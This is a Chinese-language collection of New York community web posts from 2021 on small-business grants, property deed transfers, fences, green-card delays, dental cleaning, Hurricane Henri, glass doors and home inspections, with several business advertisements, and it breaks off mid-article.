这项小企业复苏补助计划总金额为8亿美元,于今年6月10日推出。主要是向纽约的小微企业提供资金,以帮助他们从疫情的影响中复苏。企业可以将补助金用于疫情期间发生的运营支出,包括工资,租金或抵押付款,税金和公用事业费等。

该补助计划之前仅限于年收入不超过50万美元的小企业。从即日起,年收入不超过250万美元的企业都可以申请。所有的申请将从9月8日起开始处理。

补助金额

补助金将根据企业 2019 年的年度总收入计算。补助金额和计算方式可能会因 Empire State Development 发生变化。

  • 年度总收入:25,000 美元 – 49,999.99 美元:补助 5,000 美元/企业
  • 年度总收入:50,000 美元 – 99,999.99 美元:补助10,000 美元/企业
  • 年度总收入:$100,000 – $2,500,000 :补助总收入的 10%(最高补助 $50,000)

迄今为止,纽约州所有十个地区的2,380多家小型和微型企业,已获得超过4,800万美元的补助。

这项补助计划优先考虑帮助在社会和经济方面处于不利地位的企业,包括少数族裔,女性等拥有的企业,残疾者或者退伍军人的公司也是优先补助对象。

详细资讯请点击:疫情期间小商业复苏补助计划

2021-08-27 / by / in , , ,
一文看懂 美国房契转名 | 美国房屋无偿转让/地契转名/美国房产更名/美国房屋过户

在美国纽约,房屋的过户、转名即房契转名,是房产交易过程中重要的一环,也是一个重要的法律手续。

房契转名一般可归纳为两种,有偿转让和无偿转让。美国房产产权的转名,包括加上名字或拿掉名字,必须要有全部的之前房契上所有权人签字才能进行。

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有偿转让的房契转名

有偿转让,这就是像正常房屋交易一样,房屋买卖的双方聘请经纪人,谈妥房屋的价格,签订购房合同,在办理过户的时候双方签字即可,基本上由律师把关。

在美国纽约,有偿转让的房契转名(美国房屋过户、房产更名),基本上由律师把关。 (Pixabay)

房屋的有偿转让还存在一种特殊的情况,在父母和子女,或者是兄弟姐妹、亲戚之间半买半送的一种房屋转让。比如叔叔把一套价值80万美元的房产,以30万美元的价格低价转让给侄子。这里面就会涉及很多房屋保险以及税务方面的问题。

第一就是房屋的产权保险,这套房产的交易价格是30万美元,侄子购买这套房产后,需要重新购买产权保险。但是产权保险的理赔额是根据房屋交易的价格来定的,也就是说这套房屋一旦出现产权问题,产权公司只能根据30万来计算理赔额,而不是根据这个房子的市场价格。

第二,是缴税方面这里面涉及的税主要有两项:交易税和资本增值税。

1、交易税
购买房屋的时候卖家要缴纳交易税,交易税的多少也是根据房屋交易价格计算的,所以房价低,交易税上可以省很多。

在纽约州,50万美金以上的房子要缴纳的交易税是1.825%,50万美元以下的房屋,交易税为1.4%。叔叔这边如果以80万美元出售这套房产,要缴纳的交易税为14600美元。叔叔愿意以30万美元的低价半买半送给侄子,要缴纳的交易税为4200美元。

2、资本增值税
如果这套房产是用于自住是没有问题,但是如果将来要出售的时候,就会涉及到另外一项税,就是资本增值税(capital gains)。

如果这套房产增值到90万美元,这个时候侄子要出售房子,那么减去30万的购房成本,就有60万美元要缴纳资本增值税。

无偿转让的房契转名

所谓无偿转让就是房屋赠予,如果想要办理无偿转让,手续上要比有偿转让简单很多。做无偿转让一般情况只要去两次律师楼就可以完成了。

第一次带着自己的有效ID和社会保险号,让律师准备一份房产赠予的法律文书。

第二次,赠予人在房契赠予文档上签字,然后赠予双方在交易税单上签字,就可以完成了。

无偿转让所产生的费用也远低于房屋交易的过户费,不到1000美金就可以完成,主要就是160美金产权登记费以及律师费。

由于赠予的房产没有交易,因此也没有办法购买产权保险,一旦产权出现问题,也只能赔偿原屋主。

从税务方面来说,没有交易税,资本增值税也从原屋主购买之日的价格计算。

无偿转让就是房屋赠予,在美国纽约,如果想要办理无偿转让的房契转名(美国房屋过户、房产更名),手续上要比有偿转让简单很多。(Pixabay)

这种无偿转让虽然手续简单,还是有一些需要注意的地方。归纳为为以下几点:

1、老年人福利
现在很多老年人想要申请政府的一些福利,比如medicaid。但因为对收入有要求,很多老年人担心,如果自己有房产会影响申请medicaid,所以把房产转让给子女。但是他们不清楚即便是转让了,有一些情况下,5年内还是不能申请medicaid,并不是转让就能马上申请,这个是他们必须注意的。

2、将个人房产转到自己公司名下
现在有很多人选择个人房产转移到自己公司名下,事实上就是自己转给自己,但是需要注意这套房产的持有人必须和公司持有人一致。

3、为欠款临时过户
有些人因为有欠款而临时将自己的房产过户给他人,然而,无偿转让是没有办法购买产权保险的,保险的赔偿方还是原屋主。
所以一旦原屋主有欠款,这笔欠款除了跟着人走,也会跟着房子走。被赠与方只要卖房子,还是要偿还欠款,不然房产的产权也是有问题的。

是否可以把房产转给未成年的孩子?

理论上来说是可以的,但实际操作上不建议这样做。

因为以后所有涉及到对这个房子的处置,比如像出售、重新贷款等,都需要这个屋主签字。未成年人签字没有法律效力。所以那个时候就会有一套很复杂的向法院申请的手续。所以一般来说,不建议放未成年人的名字在房契里。

在房契中加上我孩子的名字,需要通知贷款银行吗?

这个是需要的。因为在向银行做贷款文件的时候,签署的那些贷款的文件,要向银行确定屋主是谁。如果以后有变更,必须要通知银行。

这时银行会有两种做法,一种就是要求你把贷款还掉。

如果你没有能力一下子还清贷款,银行就会让你去做一个重新贷款,在做重新贷款的时候,同时做这个屋主改名的手续,这时就可以加上孩子的名字了。

以下情况不需要房契改名

  • 已婚夫妇共同持有房产,如果其中一个配偶过世,则无需从房契中删除该配偶的姓名。在需要出售或抵押这套房产时,只需在新房契中注明另一方配偶已故就可以了。
  • 如果有人结婚,一般也不需要将房契上的姓名更改为已婚姓名。

注:本文的内容为公益性质的信息分享,不能被理解为是在提供法律专业意见。若需要法律意见或其他专业帮助,请咨询金牌资讯网经验丰富的房地产律师。

 

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2021-08-27 / by / in , , ,
纽约住宅围栏选购指南(718) 886-3348 |住宅围栏种类|安装围栏的9个技巧

文|雨荷

目前纽约围栏种类繁多,怎么选购围栏(栅栏)呢?木围栏(栅栏)提供了强度、经济性和风格令人难以置信的组合。对于纽约的许多房主来说,当有人提到围栏(栅栏)时,都会立即想到木栅栏的图像。下面谈下纽约围栏的种类,纽约住宅围栏选购指南以及木围栏安装的9个技巧安装。

纽约围栏安装 :(718) 886-3348

网站:https://stateiron.org/

铝围栏(铝栅栏)

相关文章:

纽约庭院安装栅栏8大好处|纽约8种类型庭院围栏的优缺点及成本|什么类型的围栏适合您庭院?

纽约住宅围栏种类

木围栏(木栅栏)、链条围栏、铝围栏、乙烯基围栏。

一、木围栏(木栅栏)

木栅栏是纽约居民和企业主的首选。没有其他围栏材料能像木围栏一样用途广泛, 使它们成为几乎任何情况的绝佳选择。木栅栏是纽约房主可以使用的最实惠的栅栏选择之一。木栅栏可以抵御大风、恶劣天气,木栅栏提供了一系列令人难以置信的风格和选择。然后木栅栏可以染色或刷油漆将你的栅栏变成完美的颜色。而且安装了木栅栏后还可以使的房产升值。

木围栏(木栅栏)

木栅栏有三种木材

1.松木是最便宜的木材,它的寿命比云杉或雪松短得多。使用松木的木栅栏装置可以使用七年左右。
2.云杉是中档木材,非常经济。用云杉制成的木栅栏装置通常可以使用 8 到 10 年左右,具体取决于它是否经过处理或染色。雪松是长期安装木栅栏的最佳选择。
3.雪松的使用寿命比松木长约 50-100%,使用寿命应为 15 至 25 年,具体取决于它是否被染色或处理。

木围栏(木栅栏)

二、链条围栏

这种坚固耐用的围栏的框架由高强度钢制成,具有额外的强度。这个框架用纯锌镀锌,以防止生锈、化学品和天气。除了传统的镀锌栅栏织物外,还有各种颜色的镀铝栅栏织物和乙烯基涂层栅栏织物和框架。为了增加隐私,纽州围栏公司还可以在安装期间或之后的任何时间安装垂直隐私插入板条。这种坚固耐用的围栏的框架由高强度钢制成,使链条更加有强度。

链条围栏

三、铝围栏(铝栅栏)

传统的铝围栏为您提供安全、美观和多年的耐用性。这些围栏采用聚酯粉末涂层,有多种款式和颜色可供选择,以满足您的确切要求。铝制围栏提供了一系列令人难以置信的好处,它们不仅为您的财产提供令人印象深刻的优雅饰面,而且免维护且无腐蚀性,并提供材料和工艺的终身保修。铝栅栏的成本往往比传统的锻铁低得多。主要是因为锻铁围栏必须在车间使用昂贵的金属制造。

铝围栏(铝栅栏)

四、乙烯基围栏

乙烯基围栏是木材的绝佳替代品。乙烯基围栏不需要油漆或染色。它不会腐烂、变形或碎裂。专业安装的乙烯基围栏将比木围栏保持其外观更长的时间,几乎不需要维护。它也有多种颜色可供选择。专业安装的乙烯基围栏将比木围栏保持其外观更长的时间,几乎不需要维护。它也有多种颜色可供选择。价格要比木质围栏高。

纽约围栏

安装木栅栏的9个技巧

1.测量您希望开始安装木栅栏的位置的周长。使用它来计划您对项目的需求。
2.专业地标记您的财产线。不要错误地标记您的财产线。通过让专业人士为您标记财产线来避免失误。
3.在安装栅栏前需检查建筑规范。请联系您当地的市政当局或房主协会,询问与您的项目相关的法规、限制和许可。与邻居讨论该项目也是明智之举。如果围栏位于相邻的财产界线上,您可以按 50/50 分摊费用。
4.确定您需要多少个门以及它们需要多高。大门在木栅栏安装中非常重要,高度用于确定大门所需的铰链数量。

安装木栅栏

5.最常见的木栅栏安装高度为 4 英尺、6 英尺或 8 英尺。
6.在为您的木栅栏安装购买栅栏柱时,请记住,它们必须埋在地下大约 18-24 英寸处。
7.不要因为损坏公用事业线路而被罚款。在开始安装木栅栏之前,请致电并标记当地的公用事业线路。
8.在开始安装木栅栏之前,请检查您的城市代码。有些城市有高度限制,有些城市根本不允许围栏。此外,大多数地方会要求您在开始之前获得许可。
9.木栅栏安装可能涉及松树、云杉和雪松等材料。

2021-08-25 / by / in , , , , , , ,
身份已经通过,绿卡很长时间下不来,怎么办?—-找律师下催办令办理。

身份已经通过,绿卡很长时间下不来,怎么办?

—-找律师下催办令办理。

目前导致绿卡被延期发放的原因:一方面美国南部边境移民仍在大举进入,另一方面移民法庭结案速度一直远远落后于新增案件数量,移民法庭积压了约130万个待决庇护案件,导致美国移民系统仍处于超负荷运转中。

目前,一些符合条件的本该获得绿卡等移民福利的人,也以疫情和安全为由遭到拖延,如身份已经通过,但绿卡发放被拖延,迟迟下不来。纽约资深移民律师罗曼(Meer Rahman)说, 疫情迫使移民系统改進了一些服务,开放电子系统让当事人可以查询或申请做一些事情,不再非得采用纸质方式,比以前方便简单。“这是一个好的方向,实际早就应该这样了,以疫情为借口拖延案件的影响开始变小了。”他说。

因此,罗曼律师建议,有紧急需求的当事人,可以向律师谘询,做一些该做的事情,不要错过自己的移民福利。象绿卡被延迟发放,找律师办理催办令可以得到解决。

【案例1】

催办绿卡申请获得成功

移民系统压力导致各种处理缓慢,移民局网上公布处理绿卡时间需要25.5~50个月。D小姐在2019年申请绿卡,将近2年却没有收到, 催办之后,很快就收到了绿卡。罗曼律师楼表示,2019年之前申请的绿卡,如果还没有收到的话,可以请律师催办。经过催办之后,一般会在三、四个月内收到绿卡。

 

曼哈顿地址

305 Broadway,Suite610,NY 10007 (百老汇305号6楼)

电话:(212)732-2220

2021-08-25 / by / in ,
牙齿保健从正确洗牙开始 | 牙周病预防 美国洗牙怎么用牙医保险

想要有一口健康的牙齿,除了平时认真刷牙之外,到专业牙科诊所定期洗牙是预防牙周病的一项重要措施。

什么是洗牙呢?

通俗的讲,洗牙就是让专业牙科医师用专业的器械,帮您把牙齿彻彻底底“洗个澡”。把平时自己刷牙清洁不到的地方,以及牙齿表面的牙菌斑和牙结石来个彻底大扫除。洗牙是治疗和预防牙周病一项有效措施。

普通洗牙是属于预防性治疗。在美国,只要有牙医保险,一年两次的普通洗牙都可以100%报销费用。

洗牙可以清除牙结石和牙菌斑

为什么要洗牙?

平时牙刷清洁不到的地方,或者刷牙的方法不够正确,就会在牙齿表面形成牙菌斑和牙结石。牙菌斑和牙结石则会引起牙周组织的炎症反应,可能引起牙龈炎、牙周炎、出现牙龈出血、口臭,最终引起牙齿松动。

牙龈里有牙槽骨包着牙齿,如果有牙结石存在牙龈和牙齿中间就会妨碍刷牙。长时间不清除就会成为牙龈感染的“元凶”。

牙菌斑在除去之后还会不断地在牙面重新形成。菌斑清除不到位,加上唾液中的矿物盐逐渐沉积,时间一长就会形成牙结石。所以洗牙要定期进行。

牙结石会导致牙周病

专业牙医建议:

  • 口腔正常的情况下,每半年到一年,到专业牙医诊所进行口腔检查和洗牙;
  • 如果有牙周问题的就可能需要3个月检查一次,具体情况可以听从牙医的建议。

定期洗牙,保持牙龈健康

洗牙会损坏牙齿吗?

专业牙医师会告诉您,非正规医院、不专业牙医的操作可能会给牙齿表面留下过深过多的划痕。 而正规操作的洗牙仍有可能在牙齿表面留下显微镜下能观察到的细小划痕。正规的医疗机构和专业的牙医,在洗牙后会用专用的抛光膏,对牙齿表面进行抛光处理,因此不用担心对牙釉造成损伤。

假如让牙菌斑和牙石长期附着在牙齿上,对牙齿和牙龈的伤害会更大。

洗牙会酸痛和出血吗?

第一次去洗牙,看到那些牙科器械都会免不了心理紧张。其实,一般的洗牙是不会有疼痛感的。只是感觉一小股气流、水流冲击牙齿,一般半小时到一小时就完成了。具体时间还要看每个人牙石的严重情况。

对于第一次洗牙者,由于常年牙结石的沉积,洗牙时会有酸痛感,牙龈会有一些出血,这些都是正常现象。以后只要记得定期洗牙,牙结石没有那么多了,洗牙时就不会有酸痛感了,牙龈也不会出血了。

对于一些痛觉神经比较敏感的人,如果洗牙过程中感觉到疼痛,可以举手示意,及时让牙医师知道您的感受。

洗牙的种类

在美国洗牙有不同的种类,一般分为普通洗牙和深度洗牙两种。具体需要做哪一种洗牙,专业牙医师会根据牙齿X光片和牙齿检查来判断,并和您沟通。

洗牙分为普通洗牙和深度洗牙

1、普通洗牙

普通洗牙不需要打麻药。

在口腔正常的情况下,由专业牙医师定期清洗牙齿。洗牙时间一般30分钟到一小时就可以完成。

普通洗牙属于预防性措施。在美国只要有牙医保险,一般都会有一年两次免费洗牙的福利。

2、深度洗牙

深度洗牙需要打麻药后清理牙结石。

深度洗牙适用于有牙周病的患者,具体表现为牙龈出血、牙齿松动、口臭等口腔问题。

健康的牙齿,器械可伸入牙龈1-2毫米;牙齿出现病变时器械可伸入4-5毫米,这时就需要深度洗牙。

牙医师会和患者沟通,根据情况可以全口一次完成,或分为左、右两次完成。深度洗牙后,麻药会持续1-2小时,牙医师会告诉您这段时间不要吃东西。

深度洗牙属于治疗措施,自己需要承担部分费用,具体费用要根据牙医保险计划来计算保险公司承保的比例。

深度洗牙后,平时也要正常刷牙并用牙线清理牙缝。如果口腔状况维持得好,以后只需要定期牙齿检查和普通洗牙就可以了。

洗牙后,平时也要维护好口腔卫生

2021-08-25 / by / in ,
飓风亨利来袭 纽约宣布进入紧急状态

飓风亨利(Henri)目前位于纽约蒙托克角以南约200公里处,最大持续风速为 120公里/小时,继续向长岛方向移动。预计将于本周日(8月22日)抵达纽约州和康州,纽约州州长库默(Andrew Cuomo)宣布纽约市、长岛、哈德逊河谷地区进入紧急状态。

美国国家飓风中心表示,长岛和新英格兰南部至少在 30 年内没有受到飓风直接袭击的影响,现在必须准备迎接周日登陆的飓风亨利。

美国国家飓风中心下午5点发出的亨利飓风最新消息是,预计周六晚些时候开始出现危险的风暴潮和热带风暴气候;飓风警告对长岛、康州和罗德岛的部分地区仍然有效。

周六,亨利从热带风暴升级为 1 级飓风,其风速增加到每小时120公里,阵风更高。该中心表示,预计到周六晚上会进一步加强。

亨利飓风登陆时,将会在沿海引发海啸、暴雨和洪水,还可能造成大面积停电。纽约州内陆地区,包括威彻斯特(Westchester)和北部地区,也会有暴雨和强风。

亨利飓风的强度可能会达到2012年超级风暴森迪(Sandy)相同的程度。

纽约市长白思豪也于周六下午宣布,纽约市进入紧急状态。自22日(周日)凌晨至23日(周一)早6时,全市户外用餐、户外活动项目暂停,建筑工地也须暂停施工。长岛萨福克县行政长官史蒂文·贝隆 (Steven Bellone) 向火岛上的人们发布了自愿撤离令。

美国国家气象局数据显示,长岛纳苏郡风速可超过80公里/每小时,周日上午将达到到130公里/每小时;纽约市风速在周日将超过90公里/每小时。

飓风亨利(Henri)预计将于周日在长岛或新英格兰南部登陆。(美国国家气象局)

强降雨可能从周六晚上一直持续到周日晚上,长岛东部降雨量将达到3~7英寸,局部降雨量可能会更高。

州长库默表示,将出动500名国民警卫队成员、11辆高轴卡车和14辆军用悍马,以帮助长岛、威彻斯特、皇后区以及哈德逊(Hudson Valley)等地应对强风暴袭击。

库默建议纽约州居民做好停电准备,储备必须用品,避开洪水路段,谨慎外出,避免在亨利来袭时到公园或海滩。强风暴可能掀起海浪、刮倒树干和电线杆等,造成生命威胁。

上一次登陆长岛的飓风是 1985 年的格洛丽亚飓风,最后一次登陆新英格兰的飓风是 1991 年的鲍勃。飓风鲍勃造成至少 12 人死亡,导致电力线路被淹没,房屋被洪水淹没。

点击见亨利飓风更新信息

 

2021-08-21 / by / in ,
纽约玻璃门选购指南| 纽约玻璃门种类 | 玻璃门安装注意事项
文|雨荷
如今纽约,玻璃门随处可见,从商店、办公室、公司,到高档住宅或普通住宅。玻璃门美观、醒目、豪华,适用于从大门到侧门、窗户的多种设计而受到青睐。那么纽约玻璃门有哪些种类?如何选购和安装玻璃门呢 ?

纽约玻璃门的种类

防火玻璃门

防弹玻璃门

装饰玻璃门

涂层镀膜玻璃门

自动感应门

玻璃纤维门

防火玻璃门

一.防火玻璃门

防火玻璃门主要由铝和玻璃(普通玻璃或钢化玻璃)制成。门的外侧是一个铝制框架,与内部玻璃包围在一起,以支撑和定位玻璃以及其他配件,铝质防火门非常豪华和精致,可以最大程度地抵抗火灾。由于铝门采用高级静电烤漆,铝不燃烧,耐高温。铝门可以防止热传递和火势的迅速蔓延,最大限度地减少生命和财产的损失。

 

防火玻璃门

铝防火玻璃门产品在纽约多种场所广泛应用

例如:

1.纽约高层的公寓楼、酒店、购物中心、写字楼、剧院、医院、学校、工厂等工业工程……;

2.纽约需要紧急出口的场所,如楼梯、大厅或因使用电、火、气易发生火灾的场所,如电站、变电站、发电机房、机器、设备间。

铝质防火门非常豪华和精致,可以最大程度地抵抗火灾。由于铝门采用高级静电烤漆,铝不燃烧,耐高温。铝门可以防止热传递和火势的迅速蔓延,最大限度地减少生命和财产的损失。

优异的隔热性能

铝质防火门采用高分子材料和阻燃添加剂制成,即使在高温条件下也不会分解成其他易燃成分。喷灯温度接近1000摄氏度,铝条只变形不燃烧,消除了火通过门蔓延的过程。

 

防火玻璃门

防盗功能

使用8mm钢化玻璃,防盗能力绝对提升。当铝与这种 8 毫米钢化玻璃结合使用时,窃贼无法通过门进入您的家。当您独自在家或在人口稠密的地方时,提高安全性并使用户感到安全。

允许的质量标准

铝防火门是按照一定的标准建造和设计的,具有防火和防火的作用。因此,该产品具有防止火灾在建筑、大型建筑物中蔓延以及在发生火灾时最大限度地减少损失的作用。

结构多样,方便

铝门和玻璃门重量轻,旨在达到最佳的隔音、隔热和防火能力,可以设计多种款式,多种颜色,以满足每个用户的需求。

防火玻璃门

二:防弹玻璃门

防弹玻璃门,是一种特殊玻璃门,看似跟普通的玻璃一样,但是同时就是有很坚硬的安全保障,可以挡住子弹,在需要安全保障的地方如银行,部队等等都是会使用的,防弹玻璃既然可以防子弹,那么肯定是需要很坚硬的材料,现在美国纽约家庭很多都在用。防弹玻璃是由特殊加工得到的一种复合型材料,对小型武器射击的有一定的保护作用。

   防弹玻璃门

防弹玻璃的外层是四分之一英寸的钢化玻璃,内层是两层 3/8 英寸的聚碳酸酯,与制作警察防暴盾牌的材料相同。每个聚碳酸酯层的厚度大约是警察盾牌的两倍。即使在这种厚度下,聚碳酸酯也会弯曲并吸收冲击,而不是碎裂或断裂。这种阻止子弹的聚碳酸酯质量使门具有抗强行进入的能力——其厚度小于具有较低弹道等级的丙烯酸树脂。

三.装饰玻璃门

包括压花玻璃、刻花玻璃、磨砂玻璃、乳化玻璃等种类。是目前现代室内建筑中最受欢迎的产品,有助于带来令人印象深刻和引人注目的室内空间,为您的家创造美感。装饰玻璃是一种艺术玻璃隔断,为独特的艺术作品提供空间。装饰玻璃由两块透明夹层玻璃组成,中间双层压花膜,以增加抗冲击性,增加浴室门的美观。

装饰玻璃门

四.涂层镀膜玻璃门

在玻璃表面镀上一层特殊化合物的玻璃,这种化合物有助于玻璃特性具有缓慢的放热、减少色散、缓慢吸收热量和减缓传热过程,但仍保证房间的亮度。让您的房间冬暖夏凉,最大限度地节省室内热量的工作成本,同时保持亮度和最大限度的美观。具有装饰性的玻璃具有一定的外立面效果,适用于各种建筑的广泛应用。

涂层镀膜玻璃门

五.自动感应门

使用光学或运动检测传感器来激活其电动开启和关闭功能。这些传感器安装在自动门上方或从上方或侧面集成到门框内。传感器使用红外线或微波技术来观察运动,并且经常用于商业和工业环境,以方便人进入,以提高效率和安全性。当门控制器接收到传感器的启动信号并启动齿轮电机驱动皮带和皮带轮时,自动门打开。 当在激活区域内没有检测到任何人时,门会在指定的时间段后开始关闭。自动门配备有两种类型的传感器,即启动传感器和支撑传感器。可以使用不同类型的传感器,例如红外传感器和激活开关。 应根据用途和环境选择合适的激活传感器。

自动感应门

六.玻璃纤维门

玻璃纤维门是复合材料,看上去与木质相似度极高,门的纹理都可制作出来,只是摸着稍逊于木门质感。这种门防潮、在强烈的阳光和雨水,不会开裂和生锈,腐烂或翘曲。更不易受腐蚀或虫害影响。几乎不需要维护,通常比钢门和木门更耐用。而且这种们价格便宜,从长远来看,使用玻璃纤维门来减少更换和维护成本。玻璃纤维单元通常比其他材料更昂贵。

玻璃纤维门

安装玻璃门注意事项

玻璃门的选择和设计必须适合房屋的面积,不要过于狭隘或浮夸。窄门使屋内密闭,无处可逃,反之,门过大会使空气迅速逸出。

1.前后门不要相对安装,这也是一个禁忌,不仅在铝玻璃门的设计中,任何类型的门都一样;

2.对于推拉门或门、窗:框架与内外墙边缘均匀分离;

3.内开门:门框内缘距墙内缘8mm;

4.外开门:门框外缘距墙外缘88mm;

5.对于钢化玻璃墙,框架的位置将取决于用户的需求;

装饰玻璃门

6.对框架垂直方向的要求必须与照度垂直方向平行;

7.对框架宽度的要求必须与安装时以原标准为基准的墙边平行;

8.另一个注意事项是整个框架没有在平行四边形(两条不同长度的对角线)中倾斜,或者框架的一部分被墙夹住了。

另外,在需要安装玻璃门时,还是要注意房屋的结构。事实上,玻璃门系统通常适用于现代建筑,需要捕捉更多光线,不适合应用于古代或传统建筑。因此,适宜性和美观性仍然是为您的生活空间做出最佳选择的主导因素。

2021-08-20 / by / in , , , , , , , ,
纽约房屋检验必验项目 怎能花大钱却买破房子|房屋漏水|白蚁侵蚀|拒绝石绵

文|纽约过客

美国买房,验房是一个保障买家的工作,当然卖家都会提供房屋状况的披露报告,但买家在签订合同后,最好还是请专业的房屋检验师来做一个彻底的检查,毕竟外行看热闹、内行才能看门道!因此,在纽约买房,纽约验房工作千万不可轻忽,怎能花一大笔钱却买到破房子。

纽约专业验屋师 (203) 442-6030 纽约验房师

例如在纽约验房,查看漏水、地基、白蚁、石绵、含铅油漆等等,这些比较专业的检验,多数人是做不了的,但是却是非常、非常重要的验房关键,关系到房屋寿命,也关系到家人的健康。

如果今天验房的是一栋独立房,大部分的纽约验房师会从屋顶开始检查,毕竟经过长年雨水、风雪的洗刷,屋顶最容易有损坏,现在房屋检验还会使用无人飞机观察屋顶问题,然后再看外墙、门窗状况,再进入室内逐项检查。

如果检验的是一栋纽约联排房,就先进入室内逐层检查,从下到上检验每项功能,最后还是要检查屋外、屋顶。要是公寓验房,那就比较简单,基本上从客厅、厨房、浴室到每个卧室检查完毕就可以了。

以下我们就来讲解纽约独立房验房的详细步骤:不过,因为每个房型、房龄的不一样,每个验房师也有不同擅长,所以检验的顺序、检查的重点,都会根据每个个案有所不同。好比有些房屋有爬行空间(Crawl Space),有些则是有地下室空间,所以验房的重点就会有所不同。

检验房屋一般来说是顺着房型来检查,从外面到里面逐一检验房屋的每个细节、功能是否正常、结构、建材有无合乎规定。

纽约验房:水表、屋顶检查

一般典型的美国独立房,水表会埋在户外前院的草皮下面,初步检查家里有没有漏水,可以先看水表有没有不正常的数字增加(在家中关水的状态下)。再来可以看到户外的电线杆、电线的位置,如果电线通道你家的中间有碰到树枝、树叶,那就不合规定,这需要请电力公司来做清除,这是免费的。

检查屋顶的部分,现在有些验房检验师会使用空拍机来代劳,看得更清楚也减少人为爬上屋顶的风险。很多屋顶会使用沥青瓦片来铺设,以达到防水效果,如果沥青瓦片出现翘起、剥落、破损,就需要更换或修补。另外,也要小心沥青瓦片有几层,一般不超过两层,否则屋顶有负重过重的危险。

连带屋顶检查的是屋檐的排水槽(Gutter),有些甚至没有排水槽,或是排水槽被树叶堵塞,这都是要解决的问题。排水槽的功用就是将雨水、雪水排放到远离地基的位置,免得引起地基下陷、白蚁侵蚀。

纽约验房:白蚁检查

看完屋顶,接下来回到地面看地基的位置,这里可以查看很多人关注的白蚁问题!白蚁检查(Termite Inspection)是一个专业的检查,检验师通常要有合格的白蚁检验师执照。

如何发现白蚁?简单说在地基水泥和木头之间,如果有看到一条一条棕色泥土的线,那一般就是俗称的“蚁道”:白蚁走的道路,会从地基往木头处延伸。看到蚁道,就知道房屋有白蚁问题了。当然有些地方不容易查看,这只有在专业人员的检验下才能发现蚁道或白蚁侵蚀的痕迹。

验房中专门有一个“白蚁检查报告”:木材破坏害虫和生物体检验报告(Wood Destroying Pets and Organisms Inspection Report),其实不单单只是对白蚁的检查,而是对所有木头损害相关问题的检查。

白蚁检查报告还包含检查:地下白蚁(Subterranean Termites)、干木白蚁(Drywood Termites)、木材干腐和霉菌(Dryrot and Fungus),还有一些潜在的隐患。但通常白蚁侵害不在房屋保险的赔偿范畴,所以纽约买房时要特别留意。有时卖家已经清理解决,那是最好的,如果买家检查有问题,那银行很可能会要买家解决白蚁问题之后才会放款。

很多人喜欢在房屋周围种些植物、花草,但要注意至少离开房屋一英尺的距离,这样保持灌溉植物时水气不容易侵入地基,因为房屋木头只要潮湿,就会引来白蚁侵蚀。

此外,有很多纽约房室外墙是用木壁板(Wood siding),这部分要注意木材干腐和霉菌的问题。因为木头在户外经过风吹、日晒、雨淋,假如没有定期保养上漆,木头就会疏松干裂,潮湿的地方就会发霉,这都是纽约验房检验师会注意的地方。

纽约屋内检查与石绵问题

进到屋内,从检查客厅开始,可以先启动暖气或冷气让空调运转一阵子。这时可以先看看窗户,观察窗户边框是否变形、窗户玻璃有无裂痕、开关窗户是否顺畅。每一个插座有没有正常或接反、缺乏接地线的问题,还有每一盏灯是否能点亮都要一一使用仪器测试或手动开启。

这里说一个石绵问题,早期房屋会经常使用石绵(Asbestos)来当作隔热材料,尤其纽约会降雪对隔热材料非常需要,但是后来发现石绵对人体,尤其肺部有致癌风险,所以石绵在1989年以后已经被拒绝使用在新房上,但是很多老房子里面还是有,所以纽约验房或其它地区,发现石绵就是重大的问题,需要尽快请专业人员移除。

石绵有可能会出现在屋顶、隔热层、排水槽、地砖、灯具、墙板,甚至水管道。尤其在屋顶、天花板、各式隔热层都很常见到石绵材料,例如有一种俗称“爆米花天花板”的涂层,颗粒当中含有石绵。老房中有更多石绵建材,这些都是验房师要去检查的工作,以保障住在屋内没有石绵的为害风险。

纽约房屋检验:厨房、车库

接着来看厨房,首先看的就是水的部分,水龙头水量是否正常,下水口有没有堵塞,水槽底下有没有漏水。为了检验,验房师都会先打开龙头流水一段时间。厨房的电器也相当重要,炉灶、烤箱、微波炉、冰箱、洗碗机都要一一检查,当然插座也要检查接电有没有正常,这里是家中最常使用电器的地方,要十分小心接电有没有正确、有没有短路情况。

通常客厅或厨房会连通车库,所以也顺势到车库检查。车库往往也包含电源总闸门或是热水炉,如果有的话也要顺便检查功能, 重点也是在有无漏水情况、使用年限是否接近汰换。电源总闸安装多少安培数是一个重点,因为现在家用电器多,所以能有150或200安培以上的比较好,如果还有老旧的保险丝最好要换成自动跳闸。

检查卧室、浴室

一楼检查完,往楼上走就可先检查楼梯、楼梯扶手、楼梯护栏,尤其家中有小孩的要特别留意护栏间距不能过大,否则有安全疑虑。假如房屋只有一层,就无须考虑这点,直接看其它卧室、浴室空间。

如果上到楼上通常就是卧室部分,可以先从浴室开始检查,水龙头和马桶排水有没有正常通水就是重点,还有莲蓬头、浴缸、橱柜也都要一一检查。在二楼通常往上便是阁楼、屋顶,所以也要看看天花板有没有漏水情况。

来到卧室检验,窗户、地板、墙壁、衣橱都要逐一看过,重点是地板水平、电源开关。如果房间有阳台,就看玻璃推拉门是否顺畅、阳台围栏是否坚固或生锈。

这时候可以检测冷暖空调是否正常,因为一开始已经先启动,所以就能对着风口测量温度,如果是冷气,就看温度是否达到设定数值,如果是暖气同样也是看温度有没有达到设定,如果是叶片式暖气,那就测量叶片周围温度。

洗衣机、烘干机也要检查运作测试,主是要看洗衣机有没有漏水、烘衣机运作是否正常。

纽约房屋检验:天花板漏水

你有没有发现,验房一直都在检查“漏水”问题,从屋外水表、屋顶、天花板都在检查,所以最后我们来谈一下验房师如何抓漏水,当然每个验房师的方式不尽相同,在此无法一一说明,我们就以科学仪器的方式来讲解抓漏水。

通常验房师会有两个法宝:湿度侦测器、远红外线仪器来一起抓漏。用远红外线仪器照射墙壁、天花板,可以找出不同温度的差异,如果漏水的地方就会出现蓝色的色块,没有漏水的一般是黄色色块。湿度侦测器顾名思义就是侦测有没有水分、湿度,放在干的墙壁显示数值是零,如果放在疑似有漏水的位置,可能就会出现往上的数值,仪器会发出声响警示。

找出漏水的位置之外,验房师还要找出“漏点”真正漏水的来源。例如屋内某处天花板有漏水,找到漏点是在阁楼的位置,再往上找到是屋顶某处位置有破损导致漏水。

还有一种漏水是在地基,如果是有爬行空间(Crawl Space)的房产,地基与房产中间会有很多管道,在这些管道和地面、木板就可以查看漏水情况,地面有滴水痕迹或是木头有腐烂,就是有漏水问题。当然在爬行空间也要重点看地基问题,水泥支柱、木头有没有倾斜、地面的防潮处理等等。

纽约房屋检验:检查含铅油漆

